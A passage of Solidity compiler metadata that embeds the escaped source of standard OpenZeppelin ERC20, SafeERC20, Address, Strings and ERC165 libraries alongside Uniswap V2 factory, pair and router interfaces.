behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping (address => uint256) private _balances;\\n\\n mapping (address => mapping (address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and {symbol}.\\n *\\n * The defaut value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor (string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves tokens `amount` from `sender` to `recipient`.\\n *\\n * This is internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(address sender, address recipient, uint256 amount) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n _balances[sender] = senderBalance - amount;\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n _balances[account] = accountBalance - amount;\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(address owner, address spender, uint256 amount) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be to transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\\n}\\n\",\"keccak256\":\"0xfeccdcbf67b2006a715e5af1a4c7556004d95b2806552b5cc54e46e8eb7e887b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0xf8e8d118a7a8b2e134181f7da655f6266aa3a0f9134b2605747139fcb0c5d835\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n // solhint-disable-next-line max-line-length\\n require((value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) { // Return data is optional\\n // solhint-disable-next-line max-line-length\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x99f5c21018d796db7833a2100bb0e7411999e248a3c950fb526eee5d2bf47cb7\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n // solhint-disable-next-line no-inline-assembly\\n assembly { size := extcodesize(account) }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\\n (bool success, ) = recipient.call{ value: amount }(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain`call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x069b2631bb5b5193a58ccf7a06266c7361bd2c20095667af4402817605627f45\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0xf930d2df426bfcfc1f7415be724f04081c96f4fb9ec8d0e3a521c07692dface0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant alphabet = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = alphabet[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n\\n}\\n\",\"keccak256\":\"0x456e9b3a2bfe189b5249857f624f4139e59331db518483b456c4e587a20552e0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\":{\"content\":\"pragma solidity >=0.5.0;\\n\\ninterface IUniswapV2Factory {\\n event PairCreated(address indexed token0, address indexed token1, address pair, uint);\\n\\n function feeTo() external view returns (address);\\n function feeToSetter() external view returns (address);\\n\\n function getPair(address tokenA, address tokenB) external view returns (address pair);\\n function allPairs(uint) external view returns (address pair);\\n function allPairsLength() external view returns (uint);\\n\\n function createPair(address tokenA, address tokenB) external returns (address pair);\\n\\n function setFeeTo(address) external;\\n function setFeeToSetter(address) external;\\n}\\n\",\"keccak256\":\"0xe5905c0989cf5a865ed9bb7b9252536ca011c5b744017a82a7d4443b9c00a891\"},\"@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\":{\"content\":\"pragma solidity >=0.5.0;\\n\\ninterface IUniswapV2Pair {\\n event Approval(address indexed owner, address indexed spender, uint value);\\n event Transfer(address indexed from, address indexed to, uint value);\\n\\n function name() external pure returns (string memory);\\n function symbol() external pure returns (string memory);\\n function decimals() external pure returns (uint8);\\n function totalSupply() external view returns (uint);\\n function balanceOf(address owner) external view returns (uint);\\n function allowance(address owner, address spender) external view returns (uint);\\n\\n function approve(address spender, uint value) external returns (bool);\\n function transfer(address to, uint value) external returns (bool);\\n function transferFrom(address from, address to, uint value) external returns (bool);\\n\\n function DOMAIN_SEPARATOR() external view returns (bytes32);\\n function PERMIT_TYPEHASH() external pure returns (bytes32);\\n function nonces(address owner) external view returns (uint);\\n\\n function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;\\n\\n event Mint(address indexed sender, uint amount0, uint amount1);\\n event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);\\n event Swap(\\n address indexed sender,\\n uint amount0In,\\n uint amount1In,\\n uint amount0Out,\\n uint amount1Out,\\n address indexed to\\n );\\n event Sync(uint112 reserve0, uint112 reserve1);\\n\\n function MINIMUM_LIQUIDITY() external pure returns (uint);\\n function factory() external view returns (address);\\n function token0() external view returns (address);\\n function token1() external view returns (address);\\n function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\\n function price0CumulativeLast() external view returns (uint);\\n function price1CumulativeLast() external view returns (uint);\\n function kLast() external view returns (uint);\\n\\n function mint(address to) external returns (uint liquidity);\\n function burn(address to) external returns (uint amount0, uint amount1);\\n function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;\\n function skim(address to) external;\\n function sync() external;\\n\\n function initialize(address, address) external;\\n}\\n\",\"keccak256\":\"0x7c9bc70e5996c763e02ff38905282bc24fb242b0ef2519a003b36824fc524a4b\"},\"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol\":{\"content\":\"pragma solidity >=0.6.2;\\n\\ninterface IUniswapV2Router01 {\\n function factory() external pure returns (address);\\n function WETH() external pure returns (address);\\n\\n function addLiquidity(\\n address tokenA,\\n address tokenB,\\n uint amountADesired,\\n uint amountBDesired,\\n uint amountAMin,\\n uint amountBMin,\\n address to,\\n uint deadline\\n ) external returns (uint amountA, uint amountB, uint liquidity);\\n function addLiquidityETH(\\n address token,\\n uint amountTokenDesired,\\n uint amountTokenMin,\\n uint amountETHMin,\\n address to,\\n uint deadline\\n ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\\n function removeLiquidity(\\n address tokenA,\\n address tokenB,\\n uint liquidity,\\n uint amountAMin,\\n uint amountBMin,\\n address to,\\n uint deadline\\n ) external returns (uint amountA, uint amountB);\\n function removeLiquidityETH(\\n address token,\\n uint liquidity,\\n uint amountTokenMin,\\n uint amountETHMin,\\n address to,\\n uint deadline\\n ) external returns (uint amountToken, uint amountETH);\\n function removeLiquidityWithPermit(\\n address tokenA,\\n address tokenB,\\n uint liquidity,\\n uint amountAMin,\\n uint amountBMin,\\n address to,\\n uint deadline,\\n bool approveMax, uint8 v, bytes32 r, bytes32 s\\n ) external returns (uint amountA, uint amountB);\\n function removeLiquidityETHWithPermit(\\n address token,\\n uint liquidity,\\n uint amountTokenMin,\\n uint amountETHMin,\\n address to,\\n uint deadline,\\n bool approveMax, uint8 v, bytes32 r, bytes32 s\\n ) external returns (uint amountToken, uint amountETH);\\n function swapExactTokensForTokens(\\n uint amountIn,\\n uint amountOutMin,\\n address[] calldata path,\\n address to,\\n uint deadline\\n ) 